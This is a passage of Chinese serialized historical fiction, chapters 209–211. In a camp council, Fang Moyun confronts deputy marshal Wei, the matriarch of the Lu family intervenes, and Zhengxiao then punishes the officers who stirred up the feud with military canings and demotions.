恰逢今日正好王强他们回营，带来了关外的情报，元帅下令诸将都到元帅营帐商议军务，可是整个营帐都笼罩在压抑和不屈的氛围中。
可谁知道魏副帅走进来的第一句话便是：“元帅，我觉得提拔方茉云为校尉都是不妥！她何德何能，只会惹是生非？”
这句话如同一根火柴，点燃了早已积蓄的怒火，南关的诸将再也隐忍不住的瞪向魏副帅。
威行顿时便抬头了说道：“元帅，属下可否当着您和魏副帅的面，申请将我们南营和西营的诸位年轻将领和参将的军功一一列举，看是否都名副其实！”
魏副帅和他身旁的崔老将军都望向了威行他们，诸将的眼中都迸射出了怒火，站在末尾的小马等人更是握紧了拳头。这些日子西关军入南营的张狂，他们都隐忍多时了。
“属下不才，军功不及方茉云半分，是否该自请卸任将军衔，去做一个兵！”威行没有丝毫顾及的脱口而出。
“威行将军！”执礼深吸一口气劝道。可是就连周总教头和沧海都没有拦着威行。
鹿里更是站在威行的身边说道：“属下亦不及！”
此时正啸走入营帐，顷刻感受到营帐内的剑拔弩张。
“理不辨不明，本帅今日就跟魏副帅还有你们一起先将这军中的理辩清楚，再聊军务！”元帅起身都不容分的说。
谁知道元帅此言一开，南关诸将纷纷附和，质疑之声如排山倒海涌来。
威行接过话便说：“元帅，方茉云这些年所立之功，哪一次不是以命相搏？如今等同被贬去守一个边防县城，还要如此受羞辱？若说惹是生非，怕是西营中不少人，也更该反思这几日的行径吧！”
雄山也怒声道：“军中处置了石川，可却对边鸿远参军主动出手伤人一事闭口不提，这只怕也难以服众吧！”
魏副帅的脸色顿时阴沉下来，他冷哼一声，反唇相讥：“哼，鸿远不过是初来乍到不懂南营规矩，在我们西营，不战至最后一刻就不能放弃！至于你们南关的将士，一个个偏袒于那女的，不知是被什么蒙蔽了双眼！”
“魏副帅！”周总教头此时都站直身，声音中带着威严与怒气。
威行他们皆属于晚辈，可周劲如何也算是魏副帅同辈中人，平日里都是叫他魏哥的。
“魏副帅，茉云这些年为南关、为卢家军立下的功劳，众人心中都清楚！如今她被派去南元县守边，您还觉得是高抬她？那我请问，您口中如此了得的边鸿远，又何德何能居高临下？”
此言一出，魏副帅脸色骤变，他没想到周劲居然也如此针对他，怒道：“周总教头，这话我听着是针对我西营了？”
“你知道，我素来只针对不公。”周总教头直视他，毫不退让，“军中讲究的是赏罚分明，而不是拉帮结派，自立山头。魏哥，你若真心为了军纪，是否正人先正己，别让那些不明事理之人玷污了卢家军的名声！”
“周劲，你一个离判卢家军十几年之人，有何颜面说我！”魏副帅顿时愤然的指向周总教头吼道。
“不得羞辱我们总教头！”顿时小马等人忿然一拥而上的说道。
威行见到自己亲舅被人如此羞辱，顷刻间也失控了，拍着桌子就要冲上前，被周劲一把拉住。
营帐内顿时一片喧哗，南营与西营的将领争论，顿时变成了剑拔弩张。元帅坐在主位上，眉头深锁，目光中透着一丝复杂，而正啸至今一语未发。他们都知道，这场争论的背后，不仅仅是对茉云的去留，更是一场人心之中潜藏已久的矛盾爆发。
就在营帐内局面几近失控之时，营帐的门帘突然被一根拐杖用力拨开，发出一声沉闷的响声。
所有人望向营帐门，只见一位气势威严的老妇人缓缓走了进来。她手持拐杖步伐稳健，脸上虽满是岁月的痕迹，但目光却凌厉如刀，浑身散发着一种不怒自威的气势。她身旁茉云面色平静地跟随在侧。
看到她，众人顷刻间鸦雀无声，原本喧闹的营帐内陷入了死寂一般。魏副帅脸上的愤怒和张狂瞬间僵住，深吸了一口气，连忙低声唤了一句：“干娘……”
元帅亦深吸一口气恭敬的说道“娘！”
随着这句话落下，所有将领纷纷恭敬行礼，声音齐齐响起：“参见卢老太君！”
卢老太君冷冷扫视了一圈，帐内每一个将领都神情恭敬的伏低头不敢啃声。卢家军中，谁没有受过卢家的恩惠？老太君不仅是卢家的象征，更是无数将士心中最值得敬畏的存在。
她的目光最终停在了魏副帅身上，语气冷厉，带着一股难以抗拒的威严：“魏副帅，刚才这营帐内的争论，老身已经听了大半。你觉得我卢家军只有你是忠义之将？”
魏副帅被这目光盯得额头冒汗，马上低头辩解道
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：“干娘，我绝无此意，只是——”
“无此意？”老太君冷笑一声，用拐杖狠狠敲了敲地面，发出一声沉闷的声响，“你是怨愤我卢家苛待了程家女儿，我没有好生对待孙媳，没有好生包庇程家，如今累你来军中替他们寻仇了！”
魏副帅顷刻语塞，却不敢抬头反驳。他的手微微攥紧，纵使心中想百般申辩，但在老太君面前，显然他绝不会反驳半分。
“卢家军上下，靠的是军心一致，功过分明！”老太君的声音铿锵有力，带着不容置疑的威压，“帐外将士若都听见尔等主将，在营中如此激辩，军心可还在？”
她这番话让帐内的众人纷纷低下头，脸上都浮现出羞愧之色。
“老头子曾说过正啸终有一日会带着卢家军驱逐峑戎，还南境太平，完成他的毕生心愿，啸儿也是卢家军中最像你干爹之人，怎得他历尽千辛万苦走到今日，就这般被你们来祸祸了？”老太君顿时举起拐杖忿然指着天吼道，“老卢帅在天之灵正看着呢？”
而站在一旁的茉云静静地看着这一幕，目光微微下垂，唇角却勾起了一抹淡淡的嘲讽，又仿佛是压抑着某种情感。
卢老太君气势凌人，目光如刀般瞪向魏副帅，随即转向站在一旁的茉云，拐杖重重地敲击地面，声音冷冽而坚决“茉云，你哪儿都不要走，就在军中呆着，老婆子倒要看看这军中还是不是卢家军，还是他改姓西，改姓魏了！”
老太君这番话让南关将领们的眼中闪过一丝振奋，而魏副帅则双拳紧握咬紧牙关，似乎压抑着心中的怒火，却不敢在老太君面前发作，只能深吸一口气，垂下眼帘不发一言。
然而就在这时，茉云却缓缓开口，声音淡然而带着一丝冷漠：“老太君，军令如山，岂可朝令夕改？那可是卢家军大将军亲自下的军令！”
她的话一出口，众人齐齐转头望向她，眼中带着震惊与不可思议——谁都没有想到，在这种局面下，她竟会如此回应。
卢老太君微微一怔，眉头深深皱起，锐利的目光再次落在茉云身上：“方茉云，现在不是任性张狂之时！”
茉云抬起头与老太君的目光直视，心中却不禁忿然，我是脑门上写着可以让你们卢家呼之即来挥之即去吗？
“卢老太君，军令一出便是决断，这是卢家军的规矩吧。若今日因我破例，明日，军中威信将置于何处？军令如山，我得去南元！”她的话冷静而锋利，南关的将领们满脸诧异。
而魏副帅的眼中则掠过一丝冷笑，显然没想到她竟会主动将这局面推向对自己不利的一方。
老太君深吸一口气，脸上的怒意更盛，拐杖再一次重重地敲打在地上，发出一声闷响：“好一个军令如山！方茉云，你可知你那故作大方，委屈求全之姿态，换得了自己的太平日子，却在军中给卢正啸留得一个狡兔死走狗烹的名声！”
茉云依旧一脸的不为所动的看向老太君，没有应承，眼见卢老太君的眼神变得愈发凌冽。
“方茉云，你那套拨弄人心，与人争斗的本事，我不了解吗？今日营帐中的这番争论，没有你的功劳吗？难道你不是霍乱军心吗？”老太君这突如其来的指责如同一记响雷，让帐中的众人愣住了。
他们面面相觑满脸惊愕，显然未曾预料到老太君竟会将责任如此归咎于茉云，正啸顷刻间锁紧双眉咬紧了牙关。
“卢老太君英明！”魏副帅顿时抬目亦瞪向茉云，似乎在感叹老太君终于体谅他的苦心。
然而，在所有人以为茉云定然会据理力争愤然反驳时，她却淡然抬起目光，直视着卢老太君，神色平静得如同一汪深潭，不急不忙地说：“老太君着实英明，那您速速砍了我便是！”
209.搬弄
茉云的声音带着一股出乎意料的从容与坦然，却让整个营帐内陷入一片错愕的沉默。
卢老太君眉头紧皱，目光中带着愤怒：“方茉云，你可知道你在做什么吗？”
“知道！若您不砍我，我今日便启程去南元县了！”茉云依旧冷静的语调平淡，却带着一种让人无法反驳的力量。
“留下这个烂摊子给卢家军收拾！”卢老太君瞪向茉云一脸冷凌的说道，“那便应了那句话，你方茉云在哪儿都是毒！”
“干娘，我还在关外听过一句话，亡卢正啸者，必方茉云！”魏副帅此时亦冷冷瞪向茉云说道。
卢老太君顷刻转身寒戾地瞪了魏副帅一眼，让魏副帅顿时伏低头不敢再言语。
“今日之事也确实因我而起，无论是争吵还是分歧，老太君若觉得我论罪该死，那按军法处置便是。若不处置，卢家军又没有其他吩咐，我带着老马和小马便启程去南元了。”茉云依旧一脸的淡然的说道。
众人都愣了一下看向茉云，老马和小马更是抬目望向茉云。而茉云看向小马的眼神顷刻间异常凌冽，迸射出狠戾的光。
太易此时吸了口气小声说道：“小马也只是忿然于……”
“忿然于我被羞辱，为我出头是吗？”茉云冷凌的笑了说道，“马参军一句话便让龚将军跳了起来，要去对高自己几个级别的上官动手！嗯，你倒是跟着我几年，学到了啊，继续跟我去学学！”
“属下……知罪！”小马和太易顷刻间深吸一口气跪了下来，老马只得叹息了一声，诸将都没晃过神的看向茉云，一直未言语的若辰嘴角却闪出一丝笑意，看向茉云，她的“苛刻”也是这般刚烈。
站在最末尾等待汇报军务的探营中人，王强他们都一时看不清这营帐局势，探敌情报回来之时，便听说茉云受到欺辱，准备抡起袖子跟小马他们一起干的，顷刻不知道状况是怎么了？
茉云从腰间取下了那支峑戎的箭，在手上轻易翻转着，眼神扫过王强：“这箭上之羽，出自何种鸟禽之类？箭头如此锋利是关外哪家铸师所铸？关外诸国，诸盟，诸部落到底是盼战还是盼不战？”
王强愣了半刻说道：“我们……只探查到峑戎之人最近几日去了西南诸部落！”
元帅和正啸顷刻抬起头，皱眉看向王强等人，峑戎果然已经开始行动了！
“只探查到……军中之前探营中人都能探查到的消息，那要你们干嘛？来浪费军粮吗？若只有这番本事，却还不自知，回到军营，不知道第一要务是汇报敌情，却抡起袖子打探军中纷扰之事，这倒干劲十足！”
王强他们众人都深吸一口气，被茉云的震慑得说不出话来，良久之后说道：“属下知罪！”
“你们都出去吧！”茉云冷冷的说道，“在帐外等着，这热闹没什么好看的！”
“诸位将军也请先帐外候着！”老太君不容质疑的说道。
“是！”沧海转身一把拉住威行，然后带领着一众将军参将走到了帐外。
“你还算识得一份大体……”老太君冷冷的望向茉云道。
茉云抬手便丢开了箭，嘴角带着一丝冷笑，打断了卢老太君的话：“蒙老太君谬赞，我方茉云又岂懂什么大体，我生来苛刻！您刚说我委屈求权，故作大方？那您是高看我了，故作……我都做不来！不过是不屑一顾罢了！如果您没有什么吩咐的话，我也先告退了！”
这一刻，整个营帐内的气氛冷如寒霜，压得每个人都无法喘息，茉云却处之泰然的转身要走。
“你站住！”魏副帅顿时抬目瞪向茉云，一拍桌案，怒声道“一个浅薄卑微的女子，何以在军中如此张狂，还敢跟卢老太君这般说话！”
然而卢老太君却没有言语，目光如炬地盯着她，最终拄着拐杖转身坐下，沉默不语的望向茉云。
茉云顷刻站定了脚步，缓缓回头看向魏副帅，目光淡然却深藏锐利：“您确定？”
魏副帅看向茉云那冷然的态度，脸色顿时变得铁青，骂道“你简直目无尊长、不知天高地厚！看今日本副帅如何收拾你！”
“魏副帅，您累否？您待程家再好，就算将命还给程家，也堵不住悠悠众口的。众人皆知您当年为谋得西营主帅之职，故意救援不及，致使程老将军身陷绝地，以身殉国。您若真问心无愧，又何必这些年如此欲盖弥彰的讨好程家呢？”茉云语气中透出一丝毫不掩饰的讽刺。
此言一出，营帐内如雷霆骤响，顿时一片死寂，连周劲都不禁惊讶的看向魏副帅。
元帅猛地站起身，声音中带着显而易见的焦灼感：“茉云，此话切莫胡言！”
一旁的崔老将军也是满脸震惊，他猛地转头望向茉云，显然完全没有料到她会当众抛出这个老魏一生的死穴，而茉云又是如何会知晓的。
魏副帅的脸色从愤怒瞬间变成了铁青，他的手微微颤抖，紧握的拳头隐隐发白，眼中怒火滔天，声音中更是夹杂着无法压抑的愤怒和痛楚，咆哮道：“你这妖孽，这纯属污蔑！老程将军是我生死兄弟，我岂会害他？我若害他，可让我五雷轰顶，不得好死！”
茉云脸上的笑容没有丝毫退却，冷冷指着营帐外说道：“这世上事，若赌咒便能自证，那真是好啊！可您觉得，世人信吗？”
她的声音如刀，冷峻锋利，每一句都直击魏副帅的软肋。营帐中人面面相觑，有人露出震惊，有人沉默不语，气氛瞬间如同寒冬一般冰冷。
卢老太君依旧坐在原地，目光深沉地看着眼前的一切，眉头紧锁，却依旧未开口。魏副帅站在原地，脸色难看至极，拳头紧紧握着，目光死死地盯着茉云，胸口剧烈起伏，却终究发不出一言。
元帅则冷声斥道：“够了！此事到此为止！茉云，你先退下！”
“元帅，你信他吗？”茉云抬眉望向元帅不依不饶的说道。
“本帅对魏副帅的为人深信不疑，他绝不会对老程见死不救！奈何战场之事，瞬息万变！”元帅斩钉截铁的说道。
“哼！您又不是第一次被骗！您问问您娘，她和你爹信不信？”茉云顷刻间嘴角浮现出一丝狠戾的笑容。
此时魏副帅望向老太君，老太君还未开口，茉云便直视魏副帅问：“你觉得卢家若真的信你，会将你留在西关十几年？”
“方茉云！”顿时正啸制止道，他双眉微蹙的看向她，“够了！”
顿时魏副帅的脸色连一丝血色都耗尽了，崔老将军亦深吸了一口气咬牙伏低头，营帐内的气氛凝重得让人无法喘息，所有人似乎也在这一刻感受到了……那无法轻易触碰的深渊，就在眼前。
“方茉云，我们卢家包括老卢帅，从始至终都是信任魏林副帅的，你不要在此搬弄是非！”卢老太君抬目冷厉的望向茉云说道。
茉云顿时神情轻松的看向卢老太君，眼中闪过一丝狡黠的笑意：“对，这才叫搬弄是非，人本该擅长啥就干啥，领兵我不如尔等，但是论这些伎俩，魏副帅您来我面前挑拨离间？这才纯属班门弄斧，不知天高地厚！”
众人目瞪口呆地看向茉云，好似一下还没有晃过神来。执礼看向正啸，看见他眼中浮现出的那丝难以掩饰的无奈，忍不住和若辰相视一眼，两人伏低头嘴角都微微扬起。
“昔日我在御史台曾有机会查过卢家过往，见过御史台的记录文案，老卢帅
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曾当年在圣驾之前与御史激辩，文书上记载老卢帅如是说：
西营一役，敌势险恶，魏林亲领援军，虽鞠躬尽瘁，然天命难逆，救援无果，程勖以身殉国。此非魏林之失，而乃战局使然。今御史捕风捉影，言其蓄意，实乃冤枉忠良，寒士卒之心，臣不敢苟同！
臣自幼身居戎马，阅人无数，敢以卢家满门性命作保，魏将军绝非心怀不轨之人！臣若所言不实，愿以家族十余口性命谢罪。惟恳请陛下深察，毋令忠良蒙冤，致边关军心不稳。”
魏副帅听见老卢帅以全家性命在圣上面前为自己作保，顿时双膝一软几乎站立不稳，他猛地跪在地上，伸出颤抖的双手捂住面庞，竟一时无法压抑自己的情绪。
茉云冷冷的看向魏副帅继续说道：“文书上还记录了，老卢帅向圣上进言，说西营乃国之重地，敌伺其隙不息，边防非一日之功。他说魏林勇猛忠义深得军心，岂可因流言而废之，致西营无主，边患频起。老卢帅跪求圣上，称魏林可堪大任，惟恳请圣上再赐一机。
为策万全，老卢帅还请求圣上允崔亭远辅之，共理西营军务。魏将军果敢坚毅，崔将军忠诚恭谨，二人文武兼济，乃忠臣良将，必能安军定边，固守西关。如此，则社稷无虞。最终圣断，驳回御史之言，允老卢帅之奏！”
“卢帅！”魏副帅顿时再也隐忍不住痛哭流涕，声音哀恸而嘶哑，“魏林何德何能……”
茉云顷刻单腿蹲下，立于魏副帅身前冷冽的看向他说道：“魏副帅此时痛哭流涕，如此哀婉，你信否啊？您若不信可像御史台邓大人申请查看此卷宗，毕竟您对世人都缺乏信任，连您最崇敬的卢帅……这十几年，卢家一直信你，你可曾行信过他们啊？”
魏副帅如同被雷击一般，他的肩膀开始剧烈地颤抖着，泪水从指缝间滑落，滴落在地。往日里的刚硬与倔强，此刻全然崩塌，被埋藏多年的伤疤再度揭开，鲜血淋漓，却全然都是自己的不堪和悔恨。
“可此文案记录之时乃老卢帅已重病之时，他回京平息此事之后，再去边关便毅然殉国了，据我所知，老卢帅克己严厉，他对自己儿子都甚少夸赞，却说您二人文武兼济，乃忠臣良将，可保社稷无虞！”茉云的眼神顷刻间闪过一丝狠戾。
崔老将军站在魏副帅的身旁，他的热泪也顿时滚滚而落，整个人仿佛被巨大的情感洪流吞没。卢老太君亦顷刻咬紧了牙关，他夫君的一生刚正不阿的雄姿好似就浮现在眼前。
“而你一来边关便是如此行径，这里可是老卢帅殉国之地，他的英灵就在你举头三尺！”茉云似乎丝毫未被魏副帅的痛苦所触动，双眼透出一丝冰冷的锋芒说道，“你说是谁该以死……”
然而，就在这一刻，一道刚劲的力道猛然从身侧拉扯而来，茉云还未反应过来，整个人便被拉开。
她愣了一瞬，随即猛地转头，目光中带着忿然而不悦。然而，当她看到拉住自己的人时，顿时双眉微蹙——是正啸。
他站在她的身旁，一只手紧紧抓住她的手腕，力道虽然强硬，却并不让人感到粗暴，并没有触及她的伤痛。只是眼神中带着明显的警告，让她不要再说。
两人顷刻间眼神在交流，茉云没好气的瞪向正啸，好似在说此人不收拾了，你如何收编西关军，而正啸目光中的不容置疑，仿佛在无声地告诉她，到此为止，别再说了。
茉云咬了咬唇，神情却仍带着不甘与忿然，但终究没有再说下去，只是冷冷地转过身，将手臂从他的掌握中没好气的抽了出来。
若辰眼角透出一丝温润的笑意，看向茉云，她那原本满是愤怒的眼神，只会被正啸这深邃的沉稳瞬间压制下来。
210.怒火
卢老太君放下了拐杖，换了一个舒展的姿态：“这丫头啊，性子刁钻，幸得这嘴这般厉害！”
然而，众人望向老太君的神情时，却发现她的眼中并没有半分责备，反而透出一抹欣赏。
茉云抬眼迎上老太君的目光，那张冷峻的面庞微微挑眉：“老太君，我倒觉得最不需要就是嘴厉害。人嘛，做自己，而不是解释自己，爹娘之恩让你做个人，不是要你去跟谁证明自己是人！”
魏副帅恍惚间却被此言震住，他怔怔的望向了茉云。
“而我更不需要委屈自己，来卢家摇尾乞怜。”茉云一脸刚烈的望向老太君，显然心中忿然而不屈服于刚刚卢老太君对自己的言语相逼。
话音一落，整个营帐内鸦雀无声。众人吃惊地都望向她，卢老太君微微一怔，眉头蹙起，却并未因她的话而动怒。反而眼中似有一抹笑意。
“那你此刻为何站在卢家军中？”老太君轻声道，语气中透出一丝难得的柔和，仿佛这一瞬，她好像看到了自己年轻时的影子，同样是不愿低头绝不妥协的灵魂。
“世道艰难，矮子里拔高子，我也指望卢家军平峑戎，保南境，还我家乡太平！”
此言一出，帐内众人愣了半刻。她的言语中自始至终没有讨好，没有依赖，也没有崇拜，甚至没有任何多余的情感流露，而是简单且直接，却蕴含一种浑然天成的霸气，好似不是卢家军用她，而是她要用卢家军平南境。
卢老太君拄着拐杖微微眯起眼睛，静静地打量着她了一眼，目光复杂却带着笑意，也有难以掩饰的赞赏。
茉云站在众人面前，神色冷然，语气淡然却带着一丝凌冽：“可是我浅薄的认为，老卢帅说的话不对！”
此话一出，营帐内瞬间再一次鸦雀无声，众人又一次齐齐愣住，目光错愕地望向她。老卢帅在卢家军乃至整个朝廷中的威望如山如岳，连圣上都未曾质疑过他的判断，而茉云竟在此刻大言不惭地表示质疑！
“方茉云！不得造次！”此时周劲都隐忍不住，眉头猛然指责道，要知道老卢帅是卢家军的灵魂所向。
然而茉云丝毫不在意众人反应，眼中没有一丝退缩。
“老卢帅说卢正啸是最像他之人，会帮他完成一生未完成的夙愿——驱逐峑戎，平定南境。”她目光扫过众人，语气忽然锋利：“可只是一个像老卢帅之人。便能战胜峑戎吗？老卢帅当年……可是没能战胜峑戎，抱憾殉国的！”
她的声音低沉而有力，带着一种直击人心的冷峻，让众人不禁倒吸一口气。
“而如今的峑戎，比当年更盛。就以统帅为例，此时峑戎的统帅——幽戎，绝对是峑戎历史上最有能耐、最优秀的将领。他的气度、才智，谋略和对军队的掌控力，已远胜当年的峑戎首领。一个仅仅只是像老卢帅的统帅，凭何战胜他？”
她的话语如同寒风扫过，刺得人心中发紧。
可此刻站在一旁，刚刚还如山般沉稳的身躯此刻忽然绷紧，眉头骤起，目光中似有一团火焰被点燃。正啸听着她对敌军的此番“盛赞”，尽管那言辞显得如此理性，但每一个字都点燃了他的怒火，直冲头顶。顷刻间，他握紧了双拳，被男人最原始的愤怒冲撞得几乎要失控。
可他却不能暴露心中那抑制不住的情感。他只能咬紧了牙关，将那一腔怒火强压在心底，努力让自己看起来波澜不惊。而内心像一场被隐忍压下的风暴，悄无声息，却令人心惊。
而茉云却毫无察觉似的，语气一字一句地落下：“崇拜和成为老卢帅都是枉然，唯一之法，便是超越老卢帅，才能战胜峑戎。”
帐内众人顿时目光闪耀，显然被她的言辞震撼，正啸更是目光复杂地的望向茉云。
此刻正啸像一片翻涌着的火海，茉云却如一座孤傲的冰峰，她感受到他的目光，却没有退缩，抬起眼睛与他对视。那一刻，仿佛天地间只剩下两人的目光交锋，一寒一炙，冰火交融亦碰撞，激荡出无声的火花。
她的眼神中依旧满是凌厉和倔强，哪怕是此刻望向正啸，也像是一把锋利的剑，丝毫没有避让。可眼底深处，似乎又藏着一抹难以察觉的在意，在某处隐隐的失落。
正啸眉头紧蹙，目光更深了一分，似乎快看得见她心底……可她没有给他机会，只是倔强地转身。头也不回地走出了营帐。她的背影挺拔如松，倔强而孤绝，消失在晃动的帐帘后，只留下帐内一片静默。
营帐外的诸将目光齐齐望向她，而茉云神情冷静而淡然，没有一丝多余的情绪的说：“太易，你在军中照料石川，老马和小马，卸任交接军中职务，收拾东西，即刻随我出发南元。”
话语刚落，周遭中一片诧异，她还是决定要走？
小马和老马、太易的表情瞬间一紧，但随即抱拳，齐声说道：“是！”
两人转身就要去准备行囊，脚步匆匆，却不带一丝犹豫。茉云却看向太易温和了半分说道：“石川醒了，跟他说，你两埋头好好干！”
“是！”
周围的诸将望着这一幕，眼中满是复杂之色，都紧紧攥着拳头，似乎想开口劝阻让她留下，可注视着茉云那笃定的神情，却终究没有人将话说出口。
茉云也没有再多说什么，只是迈步向前，背影依旧挺拔，步伐毫不拖泥带水。风拂过她的衣襟，带起一片凌厉的气息。
而营帐内，卢老太君端坐在椅上，目光如炬地盯着跪在地上的魏副帅和崔老将军，脸上的皱纹因怒意和隐忍而显得更深。
良久之后，她语气冷厉而带着几分隐隐失望地说：“说进你心坎了吧？老婆子今日倒才明白——你这些年的不依不饶，不只是愧对程家，原来是怨愤猜忌卢家对你不信任了。”
她话语中透着一股压抑的怒火，眼神冷冷地扫过魏副帅的脸。
“老卢帅与我倒也不怕你怨愤，只是你可知，你的不依不饶终究是画地为牢，把自己都快困死其中！”
魏副帅双手紧紧握拳，身躯微微颤抖，他将额头狠狠砸到地面上，声音哽咽道：“干娘！魏林无地自容，罪该万死！”
话未说完，他已经泣不成声，拳头也狠狠砸在地上，关节顷刻间渗出了鲜血，似乎想要借此发泄心中那无尽的悔恨与痛苦。
“这些年来，儿时时惶恐，卢家军和老卢帅便是儿一世的信仰，若老卢帅和干娘都不信我了，儿此生的意义又是什么！”
“那你为何不问呢？”卢老太君瞪向魏副帅忿然吼道，此刻眼眶亦红润模糊了。
崔老将军跪在一旁，眼中显出深深的懊悔与复杂的情绪。
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他轻轻叹了一口气，低声说道：“老太君，魏哥和我都错得太深，但求您体谅，当年老程走得惨烈，没多久老卢帅的噩耗传来……他内心积压太多痛苦，他这些年确是画地为牢，心中日日忐忑，只因……”
崔老将军欲言又止，最终选择闭口，还是让他自己向老太君言说吧。
元帅坐在一旁，深深吸了一口气，眉头皱得如同深沟。作为卢家军的统帅，他比任何人都清楚，魏副帅的举动虽然有错，但他的内心深处一直背负着巨大的痛苦与懊悔。
魏副帅闻言抬起头，泪水模糊了他的视线，他颤抖着说道：“是我该死，这些年，我无时无刻不在想，当年如果我的援救再快一些，如果我能再快一点，老程是不是就不会死？我想平定敌匪之后，来跟卢帅请罪，可卢帅走了……我想来跟您说，可我又害怕……后来我什么都怕，怕人觉得我不配，觉得我不义……觉得我不忠！”
卢老太君眼中盈满的泪水也落了下来，最终伸手拍了拍魏副帅的肩膀。
执礼站在一旁，低头沉思不禁感叹，军中哪怕再深的羁绊与恩义，终究也逃不过时间的冲刷与人心的裂痕。铺所迷离之间，魏副帅这些年的喧嚣，不是因他忘恩，而是因他内心深处，始终无法释怀。他惶恐而自我折磨，最终变成了他的桎梏。可……方茉云为何就能一眼看穿？
崔老将军在魏副帅身边多年，此刻看向魏副帅痛哭流涕的样子，虽是感叹，也终究为他庆幸。他心中的千斤巨石终于能舍下一切而放下，自己在此刻也终究有了一丝前所未有的解脱。
正当营帐内气氛肃然之时，忽然传来一阵急促的马蹄声，夹杂着烈马的嘶鸣，声音清脆而有力，直直传入每个人的耳中。
众人微微一愣，随即神色变得复杂起来。若辰看向正啸，这是茉云的马声！此刻马声急促，脚步铿锵，显然是茉云已然跨马飞驰而去。
元帅亦听见声音，眉头一皱，帐内陷入短暂的沉默，茉云终究还是走了。
营帐外，马蹄声渐行渐远，带起阵阵尘土飞扬。那烈马载着她远去的身影，似风般绝尘而去。她的离开，如同她的性格一般，决绝而洒脱，从不留半分犹豫。
正啸走出了营帐，目光透过南营，望向远处渐行渐远的烈马与那抹熟悉的背影，转身之时拳头在袖中缓缓收紧，骨节微微泛白。
而当他转身迈步走回自己营帐时，脸色已冷峻如铁，整个营地氛围似乎顷刻凌冽。
“传所有将军、参将，即刻到我营帐。”他的声音低沉而冷厉，不带一丝情感，却如雷霆般震慑全场。
“是！”
不一会儿，他的营帐内聚集了全营的将领，所有人看向正啸的表情不禁神色紧张，屏息静气，不敢发出一点声音。
正啸坐于案前，身形如山面色如霜，手指轻轻扣在桌案上，却迟迟没有动作。他的沉默犹如一场即将爆发的风暴，令人倍感心惊。
沧海站在他身旁，目光微垂，连呼吸都放轻了几分，不敢擅动。他顷刻间明白，这些日子正啸的怒意早已在翻江倒海，只是被他强行压制着。
执礼深吸了一口气，连日以来少主的怒意已是鼎沸，刚方茉云又走了，走之前还加了这么大一把火，只怕现在他的怒火将如一片炙焰卷席整个军营……
211.哄人
压抑的氛围在无尽蔓延着，正啸缓缓抬起目光扫过营帐内的众人，声音如寒冰般低沉：“周总教头是否已经在三日前向全营重申了军纪！”
周总教头神情一凛，立刻抱拳上前，声音洪亮的说道：“是，末将已在军中宣读了卢家军铁纪，违令者罚，纵容者更罚！”
“军纪中，不得以下犯上，不得擅自妄议，更不得扰乱军心！”话音刚落，正啸的目光冷冷地落在威行身上，声音冷冽得如同刀锋：“来人，威行将军违反军纪，仗责二十军棍，以儆效尤！由周总教头亲自执行。”
这一句话如同一道霹雳，炸响在众人耳中。所有人包括威行，都震惊地望向正啸，显然未曾料到正啸竟会如此果断而严厉的处置威行。
就在此时众将皆想求情，沧海拦住了身旁的震北，却还没来得及拦住鹿里和雄山，他两猛然跪下，磕头求情道：“大将军，威行一时冲动，求您网开一面……”
话未说完，正啸的目光冷冷扫过他们两人，眉头微皱声音更冷：“当劝之时不劝，现在劝，好，将此二人各打十军棍！谁再求情，照打不误！”
他的语气中不带一丝余地，决绝得让人不寒而栗。鹿里和雄山顿时噤声，咬牙不敢再多言，伏低头跪在地上，连一个多余的动作都不敢有。
整个营帐中人都感受到了一种无法言说的惊涛骇浪。
“将这几日在大营非议之人，尽数降为末等兵！边鸿远和马济一年内不得提拔，外放为边关。今后不论是南营将士，还是西关战士，现在都是元帅帐下南关将士，再有非议者，斩！”正啸端坐于案前，眼如寒星，威如山峰，他没有动怒的言辞，也没有多余的表情，但那沉默与决断，却震慑众人。
沧海带着众人顷刻恭敬的行礼接令，威行他们都跪下脱去了盔甲，周总教头亲自取来了军棍，此时两位西营来的参将，也自知触犯了军令，曾故意在军中传播不满的情绪，他们也脱下了盔甲跪在了正啸前，自领了二十仗，正啸抬手示意一并处罚。
执礼轻轻吸了口气看向他们，这两人此刻清醒的幡然悔悟，最终保下了他们在卢家军的前程，不然正啸本还准备将西关来的年轻将领一锅端，任人何其能耐，他从不用不服军令之人，当然……除了一个人。
沧海微微低头，暗暗深吸了一口气，连他都好似忘记了正啸如此凌厉而冷绝的一面，而此刻正啸俨然已是南营的真正铁血统帅，无人敢忤逆分毫。
威行一众人等都被打得鲜血淋漓从营帐中扛出来，整个军营顷刻间都变得肃杀，众将士别说非议，就是言语都不敢出声！
卢老太君在元帅营帐中，听见了外面的喧嚣，她走了过去，用拐杖挑开了营帘，看着正啸营帐里扛出来一众将军，威行甚至被打得人都昏迷了过去，顷刻间他夫君当年杀伐果断的身影好似也出现在自己眼前。
她转身看着元帅和魏副帅，崔老将军说道：“看见没有，他还是给你们老几个留了几分颜面！”
魏副帅不禁看向崔老将军深吸一口气，昨日自己居然还在浅薄的跟老崔说，卢正啸怎得现在如此孱弱，毫无领军之帅的气魄，原来他只是让任人尽情造次，然后等着一并秋后算账。
“你还以为那丫头狠戾毒辣，她可还是帮了你，先给了你一个台阶，当然她也不是帮你，她是想帮啸儿留下你西关可用之人！”卢老太君拄着拐杖往外走笑了说道，“啸儿可是他爷爷亲授，他爷爷当年什么脾气，你们着实忘了，你以为老太婆着急忙火的赶来是为了护着方茉云，我是担心你们一把年纪，在他两面前连骨头都不剩！”
魏副帅愣了半刻，看向卢老太君苍老而疲惫，却依旧沉稳如松的背影，他深吸一口气马上跟老崔一起上前，护送老太君。
“人啊，老了不济了，就要服老！”老太君笑了看向营外往南元的方向，“魏林，你这傻小子，如年轻之时一样，没半点眼力劲，居然挑了个方茉云来立威，别说那丫头本身是个何其狠辣的角色，人可是他的心尖子……”
日落西山后，营帐内气氛沉沉，烛火微微跳动，映衬得众人脸上神色更加凝重。陪老太君用晚膳的年轻将领中，只剩下震北和沧海两位将军。席间，众人默默用膳，仿佛这场风暴依旧压在人的心头。
元帅望向正啸，语气平静地说：“今日你处置得宜！军法无私，纪律言明，方能立威。”
正啸坐在一旁，依旧一脸刚毅，整个席间的压抑气氛让人连一口酒都难以下咽。
卢老太君此时却忽然抬头，目光威严地看向震北，语气中透着不怒自威：“震北，你跟在元帅身边十几年，今日竟还如此冲动！你可得好好谢谢沧海将军拦了你，不然，怕是你今日也要挨军棍了吧！”
震北闻言，神色顿时一紧，连忙放下手中的筷子，羞愧地低头抱拳说道：“震北知罪，老太君教训得是，谢谢沧海将军！”
“诶！”沧海马上扶住了震北的抱拳的双臂。
